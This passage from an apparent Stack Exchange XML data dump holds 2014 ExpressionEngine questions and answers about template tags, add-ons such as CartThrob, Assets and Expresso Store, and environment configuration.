value=&quot;4&quot;}4{/option}&#xA;{option value=&quot;5&quot;}5{/option}&#xA;{option value=&quot;&quot;}N/A{/option}&#xA;{/select}&#xA;&#xA;{select name=&quot;rating3&quot;}&#xA;{option value=&quot;&quot;}-select a rating from 1-5{/option}&#xA;{option value=&quot;1&quot;}1{/option}&#xA;{option value=&quot;2&quot;}2{/option}&#xA;{option value=&quot;3&quot;}3{/option}&#xA;{option value=&quot;4&quot;}4{/option}&#xA;{option value=&quot;5&quot;}5{/option}&#xA;{option value=&quot;&quot;}N/A{/option}&#xA;{/select}&#xA;&#xA;{select name=&quot;rating4&quot;}&#xA;{option value=&quot;&quot;}-select a rating from 1-5{/option}&#xA;{option value=&quot;1&quot;}1{/option}&#xA;{option value=&quot;2&quot;}2{/option}&#xA;{option value=&quot;3&quot;}3{/option}&#xA;{option value=&quot;4&quot;}4{/option}&#xA;{option value=&quot;5&quot;}5{/option}&#xA;{option value=&quot;&quot;}N/A{/option}&#xA;{/select}&#xA;&#xA;{/exp:rating:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At present I have to make all the rating fields not required so the form can be submitted with the &quot;N/A&quot; options, but then there's no way to indicate to the member that they have forgotten to select a rating for any of the fields.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-09T22:20:48.843" Title="Solspace Rating - how to use unrated &quot;null&quot; value but still make field required?" Tags="|solspace|solspace-rating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19030" PostTypeId="1" AcceptedAnswerId="19216" CreationDate="2014-02-03T07:55:43.753" Score="0" ViewCount="77" Body="&lt;p&gt;I'm using Rating 3.2.3 and EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template, the tag &lt;code&gt;{if rating_comment_no_results}&lt;/code&gt; never returns true and never displays its content, even when there are no comments for that rating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code (this is on a single entry page inside channel:entries):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;vendor/.ratings&quot; entry-id=&quot;{entry_id}&quot; vendor-type=&quot;{categories show_group=&quot;10&quot; limit=&quot;1&quot;}{category_url_title}{/categories}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that embed looks like this (some pieces removed for brevity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries precision=&quot;2&quot; orderby=&quot;rating_date&quot; sort=&quot;desc&quot; img_height=&quot;14&quot; img_width=&quot;14&quot; collection=&quot;directory&quot; entry_id=&quot;{embed:entry-id}&quot; limit=&quot;200&quot;}&#xA;&#xA;{exp:rating:comments&#xA;     rating_id=&quot;{rating_id}&quot;&#xA;     limit=&quot;1&quot;&#xA;     status=&quot;open|closed&quot; &#xA;}&#xA;&amp;lt;div class=&quot;vendor-reply&quot;&amp;gt;&#xA;&amp;lt;h5&amp;gt;Reply from {title}&amp;lt;/h5&amp;gt;&#xA;&amp;lt;h6&amp;gt;{rating_comment_date format=&quot;%F %d, %Y&quot;}&amp;lt;/h6&amp;gt;&#xA;&amp;lt;div class=&quot;restrict-height&quot;&amp;gt;&#xA;{rating_comment}&#xA;&amp;lt;div class=&quot;overflow&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Read more…&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{if rating_comment_no_results}&#xA;{if logged_in_member_id == author_id}&#xA;{embed=&quot;vendor/.rating-reply&quot; rating-id=&quot;{rating_id}&quot;}&#xA;{/if}&#xA;{/if}&#xA;{/exp:rating:comments}&#xA;&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then inside that next embed we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:comment_form&#xA;    form:class=&quot;review-reply&quot;&#xA;    rating_id=&quot;{embed:rating-id}&quot;&#xA;    return=&quot;vendor/rating-reply-thanks/{segment_2}&quot;&#xA;    status=&quot;closed&quot;&#xA;    require_membership=&quot;yes&quot; &#xA;    anonymous=&quot;no&quot; &#xA;}&#xA;    &amp;lt;label&amp;gt;Reply to this review &amp;lt;span class=&quot;expl&quot;&amp;gt;This option is available only to the listing owner&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea class=&quot;autosize&quot; placeholder=&quot;Write your reply…&quot; name=&quot;comment&quot; /&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;a class=&quot;btn directory submit&quot; href=&quot;#&quot;&amp;gt;Submit Reply&amp;lt;/a&amp;gt;&#xA;{/exp:rating:comment_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the &lt;code&gt;{if rating_comment_no_results}&lt;/code&gt; conditional in place, the second embed never shows, even when the conditional is true. If I remove that conditional it shows as expected so there's no problem with the embeds or other code. The conditional simply doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas Solspace?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-09T16:17:59.530" Title="Solspace Rating - {if rating_comment_no_results} is never true!" Tags="|solspace|solspace-rating|no-results|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19031" PostTypeId="1" CreationDate="2014-02-03T09:46:02.863" Score="1" ViewCount="320" Body="&lt;p&gt;Is there a way within core EE or a third party add-on that can link members and channels? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am building functionality where a member can upload personal files that will be stored as channel entries. The files will be accessed from the member home area by another member type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated on how to tackle!&lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2014-03-05T14:55:39.543" Title="linking members and channel entries" Tags="|channel-entries|members|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19032" PostTypeId="2" ParentId="18958" CreationDate="2014-02-03T11:10:07.093" Score="2" Body="&lt;p&gt;Have you considered the reverse? e.g. start at the brand channel and get the parents (e.g. products)? Might be more easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid is quite new and the relationship field also was recently changed (2.6) search and categories are not mature i guess (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#tag-parameters&quot; rel=&quot;nofollow&quot;&gt;Relationship field tag parameters&lt;/a&gt;). Have you also tried &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#search-column-name&quot; rel=&quot;nofollow&quot;&gt;Grid search:column_name=&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt; as noted in the comments below: &quot;Currently it is not possible to get the parents of a relationship field that is inside of a Grid field&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative is to use stash to store each item in a list, and store the brand with each item. On output or on setting the list, you can filter by brand. (e.g. match= against=)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See examples on: &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset_list%7D&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset_list%7D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;my_list&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries channel=&quot;my_channel&quot;}&#xA;    {catalogue}&#xA;      {stash:item_title}{catalogue:title}{/stash:item_title}&#xA;      {catalogue:brand}&#xA;        {stash:item_brand}{catalogue:brand:brand_title}{/stash:item_brand}&#xA;      {/catalogue:brand}&#xA;    {/catalogue}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;...&#xA;{exp:stash:get_list .... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-02-06T09:01:48.390" LastActivityDate="2014-02-06T09:01:48.390" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19033" PostTypeId="1" CreationDate="2014-02-03T11:12:40.900" Score="3" ViewCount="115" Body="&lt;p&gt;We are using expressionengine as a cms. I'm trying to split a big channel into separate channels. At the moment we have several events with an agenda (which is a matrix field). Now I'm trying to &quot;migrate&quot; or &quot;move&quot; the complete matrix field into an own channel called &quot;agenda&quot; and replace it with an playa field in the original &quot;events&quot; channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody has a suggestion to do this?&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2014-02-04T12:34:05.020" Title="Trying to move a matrix field to another channel" Tags="|matrix|playa|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19034" PostTypeId="1" CreationDate="2014-02-03T11:22:24.853" Score="0" ViewCount="66" Body="&lt;p&gt;I have news items and want to limit the body to 100 characters. Is there a built-in function to create text excerpts?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="55" LastEditDate="2014-02-03T12:46:09.277" LastActivityDate="2014-02-03T12:46:23.213" Title="Text excerpts in body text" Tags="|formatting|textarea|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19035" PostTypeId="2" ParentId="19034" CreationDate="2014-02-03T12:29:44.110" Score="2" Body="&lt;p&gt;There used to be, not sure currently but I use this add on regularly; &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/hacksaw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does all that and more:)&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="55" LastEditDate="2014-02-03T12:46:23.213" LastActivityDate="2014-02-03T12:46:23.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19036" PostTypeId="1" CreationDate="2014-02-03T13:38:37.190" Score="1" ViewCount="66" Body="&lt;p&gt;I've tried several variations of the following trying to render events that are in category 21 for logged in user groups 1 and 6. However, they still render if you're logged out (guest id 3). Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if '{logged_in_group_id}' == '1' OR '{logged_in_group_id}' =='6'}&#xA;{exp:calendar:cal&#xA;date_range_start=&quot;today&quot;&#xA;show_months=&quot;6&quot;&#xA;pad_short_weeks=&quot;n&quot; &#xA;category=&quot;20|21&quot;&#xA;}&#xA;&#xA;{if:else}&#xA;{exp:calendar:cal&#xA;date_range_start=&quot;today&quot;&#xA;show_months=&quot;6&quot;&#xA;pad_short_weeks=&quot;n&quot; &#xA;category=&quot;not 21&quot;&#xA;}&#xA;&#xA;{/if}&#xA;    &amp;lt;li&amp;gt;&#xA;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;/events/{url_title}/&quot;&amp;gt;{event_title} &amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            {event_summary}&#xA;       {categories}cat: {category_id}{/categories}&#xA;        {event_start_date format=&quot;%F %j, %Y&quot;} {event_start_date format=&quot;%g:%i %A&quot;} {if '{event_end_date format=&quot;%M %d, %Y %g:%i %A&quot;}'} - {event_end_date format=&quot;%g:%i %A&quot;}{/if}&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    {if no_results}&#xA;    &amp;lt;li&amp;gt;No Results&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1128" LastEditorUserId="1128" LastEditDate="2014-02-05T12:05:21.053" LastActivityDate="2014-02-05T12:05:21.053" Title="Mo' Variables and solspace category ID" Tags="|solspace|calendar-events|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19037" PostTypeId="2" ParentId="19031" CreationDate="2014-02-03T14:03:11.393" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo visitor&lt;/a&gt; and &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; are two third-party modules which allow you to store members in channel entries; relationships to other channel content then become as simple as a relationship field in the user channel. (this of course also means that you can leverage things like categories and status for members). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you didn't want to go down the route of third party stuff, as long as the logged-in member was uploading their own file, you could access their stuff only within their profile by using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#author-id&quot; rel=&quot;nofollow&quot;&gt;author_id=&quot;CURRENT_USER&quot;&lt;/a&gt; parameter of the channel:entries tag pair.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-02-03T14:03:11.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19038" PostTypeId="2" ParentId="19033" CreationDate="2014-02-03T14:08:14.207" Score="1" Body="&lt;p&gt;The way I do this is via phpmyadmin. In exp_channel_fields change the group id to the group you would like it to be in. Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-02-03T14:08:14.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19040" PostTypeId="1" AcceptedAnswerId="19042" CreationDate="2014-02-03T14:47:25.380" Score="0" ViewCount="286" Body="&lt;p&gt;This is probably a newbie question but I checked the docs and am a little unclear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using CE Image to resize images in templates. I'm upgrading a site to use Assets for file management - I am wondering if Assets allows for the same type of image manipulation in tempts. That is can it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Resize images when they are called in the template?&lt;/li&gt;&#xA;&lt;li&gt;Cache the resized image for efficiency?&lt;/li&gt;&#xA;&lt;li&gt;Accept a max-width and max-height parameters and resize to scale?&lt;/li&gt;&#xA;&lt;li&gt;Accept a resize quality parameter for the quality? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If not, is there another solution for using Assets alone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus question: Can it do these things using S3 for storage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2014-02-03T15:29:11.887" Title="Replace CE Image with Assets resizing images in templates?" Tags="|assets|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19042" PostTypeId="2" ParentId="19040" CreationDate="2014-02-03T15:29:11.887" Score="5" Body="&lt;p&gt;Assets does &lt;em&gt;none&lt;/em&gt; of your four bullet points - these are all best done via CE Image as you're doing now (and it does all with aplomb). Why do you want to replace it? It's bar-none the best EE add-on for image manipulation (in the same way that Assets is the best file manager for EE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re: S3 - Assets &lt;em&gt;can&lt;/em&gt; store your files in an S3 bucket, but if you're going to be resizing dynamically, then just store your master files locally and use &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/installation#aws&quot;&gt;CE Image's S3 integration&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-03T15:29:11.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19043" PostTypeId="1" CreationDate="2014-02-03T15:41:36.643" Score="0" ViewCount="208" Body="&lt;p&gt;I have an issue with Cartthrob. When checking out, everything seems to be working ok. An email is fired, order entry created, but I am not returned to confirm page. I am using offsite payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue seems to be when creating an entry in the order entry and the fieldtype that is responsible with posting that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things to note:&#xA;CT v2.5&#xA;EE v2.7&#xA;I'm using Publisher by BoldedMinds&#xA;Matrix for pricing options with CT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone had this issue?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Invalid argument supplied for foreach()&#xA;&#xA;Filename: cartthrob_order_items/ft.cartthrob_order_items.php&#xA;&#xA;Line Number: 80&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at     /Volumes/Sites/www.domain.dev/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at     /Volumes/Sites/www.domain.dev/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /Volumes/Sites/www.domain.dev/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /Volumes/Sites/www.domain.dev/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 414&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="855" LastEditorUserId="150" LastEditDate="2014-03-06T23:05:33.117" LastActivityDate="2014-05-09T09:57:17.003" Title="Cartthrob PHP Error when checking out" Tags="|matrix|cartthrob|publisher|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19045" PostTypeId="1" AcceptedAnswerId="19059" CreationDate="2014-02-03T16:22:19.517" Score="1" ViewCount="74" Body="&lt;p&gt;I am using CartThrob 2.5 with Profile:Edit 1.1.8 and it will not let me map the the Profile:Edit member fields. All the dropdown menus are blank. Is this a bug? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone found a solution for this issue?  I ma using EE 2.7.3, CT 2.5 and PE 1.1.8 and still can't map PE fields in CT.  I have many fields setup in the channel but they do not show up on mapping page.  Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="2276" LastActivityDate="2014-02-05T00:25:53.577" Title="CartThrob 2.5 with Profile:Edit 1.1.8 Member Field Mapping Issue" Tags="|cartthrob|profile-edit|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19046" PostTypeId="2" ParentId="19008" CreationDate="2014-02-03T16:37:56.017" Score="1" Body="&lt;p&gt;Have you tried the &lt;code&gt;offset=&quot;&quot;&lt;/code&gt; parameter? For example, to get the next 6 related entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:related_entries &#xA;   channel=&quot;product&quot;&#xA;   entry_id=&quot;{embed:entry_id}&quot; &#xA;   orderby=&quot;relevance&quot; &#xA;   limit=&quot;6&quot; &#xA;   offset=&quot;6&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-03T16:37:56.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19047" PostTypeId="1" AcceptedAnswerId="19086" CreationDate="2014-02-03T16:43:55.150" Score="1" ViewCount="157" Body="&lt;p&gt;Does anyone have any guidelines/experience/hints for working with Expresso Store and Transcribe? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any particular gotcha's or associated problems? For example, I am unsure how I would change the generated emails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks if anyone has advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2014-02-04T16:17:47.250" Title="Using Transcribe with Store" Tags="|expresso-store|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19048" PostTypeId="1" CreationDate="2014-02-03T17:37:53.237" Score="0" ViewCount="36" Body="&lt;p&gt;Just a quick question with regards to what people think is the best way to handle this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site set-up. When also have a duplicate of the site at a subdomain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well.. it was a duplicate, but I haven't kept things synchronised and it's basically fallen behind the live site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to start some substantial development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume I can duplicate all the content from the live site, back to the development subdomain? (Preferably automated as I wouldn't want to go through all the control panel changes again.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a better way to carry out development?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have only ever worked via files &gt; updating &gt; push to site via FTP, but would love a better development environment. Can anyone suggest a better way, or some reading that is specific to EE development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(p.s - I've never used GIT before :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2014-02-03T18:55:24.437" LastActivityDate="2014-02-03T18:55:24.437" Title="Duplicating a site to a subdomain (for development)" Tags="|development|git|" AnswerCount="0" CommentCount="2" ClosedDate="2014-02-07T14:13:20.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="19049" PostTypeId="1" CreationDate="2014-02-03T18:02:10.520" Score="0" ViewCount="94" Body="&lt;p&gt;Same Issue as &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18520/master-config-blank-screen&quot;&gt;Master config – blank screen&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also been having the exact same issues. I'm trying to run the files in a folder such as webaddress.com/staging/site_name. I add this address to the environment config file, but I can't get anything other than a white screen on both the homepage and the CP login page.&#xA;I have tested running the files at site root (public_html) and this works perfectly. I assume the white screens have something to do with running the site within folders (ie. path problem in the env file).&#xA;I have tested this on 2 different servers with the same results. Is there any reason why I wouldn't be able to use the following path for the staging environment...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'webaddress.com/staging/site_name' :&#xA;    define('ENV', 'stage');&#xA;    define('ENV_FULL', 'Staging');&#xA;    define('ENV_DEBUG', FALSE);&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm completely baffled and have tried everything. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-02-03T18:07:45.100" Title="Master config produces Blank Screen" Tags="|ee2|focus-lab-master-config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19050" PostTypeId="2" ParentId="19049" CreationDate="2014-02-03T18:07:45.100" Score="3" Body="&lt;p&gt;The switch in the &lt;code&gt;config.env.php&lt;/code&gt; is based on the &lt;code&gt;$_SERVER['HTTP_HOST']&lt;/code&gt; variable, which only contains the host name, not the subdirectories below it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to do some serious reconfiguration of Master Config in order for it work with with different directories as environments, as it's designed to be using different servers for environments, such as somesite.dev, staging.somesite.com, www.somesite.com.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-03T18:07:45.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19051" PostTypeId="1" CreationDate="2014-02-03T18:32:29.367" Score="1" ViewCount="186" Body="&lt;p&gt;Has anyone successfully used Expresso Store for food ordering/delivery? The biggest complication I can foresee is with choosing realistic time slots which the restaurant can easily control during their busy times. &lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2014-02-03T22:10:04.197" Title="Expresso Store for food ordering/delivery service?" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19052" PostTypeId="2" ParentId="45" CreationDate="2014-02-03T19:30:41.943" Score="2" Body="&lt;p&gt;Just published an addon on github to trace db changes into files that can be deployed to your staging server. On the staging server you can re-execute the db changes made on your local development environment (manual or use a hook). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basics work, but lots of room for improvement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/fccotech/ee-db-trace&quot; rel=&quot;nofollow&quot;&gt;https://github.com/fccotech/ee-db-trace&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to use/extend/branch etc.. (or create issues if you have trouble making it work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also created a forum thread in the EllisLab forums because this might be to META for SE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/242709/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/242709/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2014-02-03T19:30:41.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19053" PostTypeId="1" AcceptedAnswerId="19135" CreationDate="2014-02-03T20:18:25.847" Score="1" ViewCount="57" Body="&lt;p&gt;I've upgraded to EE2.7.3 and CT 2.5 now when I go to Cartthrob &gt; Settings &gt; Payments I'm getting a grey screen and all navigation is disabled (have to click back button to get out). Is anyone else experiencing this or know of a fix. Display Output Profiler and Template Debug not outputting anything either.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2016-07-27T16:00:27.013" Title="Grey Screen on CT Settings &gt; Payments after upgrade to 2.5" Tags="|cartthrob|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19054" PostTypeId="1" CreationDate="2014-02-03T20:51:16.943" Score="0" ViewCount="139" Body="&lt;p&gt;We're developing the site on a test URL (server IP). Is it possible to access the the MSM site without setting it up as a sub-domain or domain - ie. is there a path I can use while it's in development?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. 000.000.000.000/index.php/msm-site-two/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping it's obvious, it's been a very long day and I've just installed it all... (copied relevant templates/channels...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ta.&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2014-02-03T22:41:31.670" Title="Accessing MSM install without a domain/subdomain" Tags="|multi-site-manager|server|subdomain|ip|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19055" PostTypeId="2" ParentId="19054" CreationDate="2014-02-03T21:10:36.393" Score="2" Body="&lt;p&gt;You just need to create subfolder &lt;strong&gt;msm-site-two&lt;/strong&gt; and put inside index.php with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_name']  = 'msm-site-two';&#xA;$assign_to_config['site_url'] = 'http://000.000.000.000/msm-site-two/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and your second site will be available by url 000.000.000.000/msm-site-two/&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-03T21:10:36.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19056" PostTypeId="2" ParentId="19051" CreationDate="2014-02-03T21:56:07.913" Score="1" Body="&lt;p&gt;We were building a table booking/on-line food ordering system a-top Expresso Store for &lt;a href=&quot;http://www.ourcanberra.com.au/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Our Canberra&lt;/a&gt; but we hit a number of problems, and ended up deciding to start developing our own shopping cart plugin from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've performed a solid years worth of market research and usability testing with both end-users, restaurants and their staff and Expresso:Store just doesn't have the flexibility to really suit the online ordering workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Early design alpha screenshot of our site:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mpnex.png&quot; alt=&quot;OurCanberra Food Ordering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The notable issues we faced:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Expresso:Store backend management is horrible and too simple. You need to be able to edit orders, and preferably have complete design control over the layout.&lt;/li&gt;&#xA;&lt;li&gt;It's not really suited for allowing customers to edit line items in a sensible fashion, which you really require for food ordering. E.g. &quot;No pickle on burger&quot; and such.&lt;/li&gt;&#xA;&lt;li&gt;It's not flexible enough and the custom fields becomes a limitation really quickly.&lt;/li&gt;&#xA;&lt;li&gt;No ability to create phone/telephone orders from the backend (frontend isn't an option)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, we've decided to start from scratch and built a plugin that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Has a Print interface allowing us to perform functions such as pragmatically send print jobs to kitchen/impact printers. (We're using Raspberry Pi's as the Print Receiver for the printers)&lt;/li&gt;&#xA;&lt;li&gt;Allows more complicated items to be created, such as attaching ingredients and components to the item for sale so the customer can customise it (e.g. Remove the 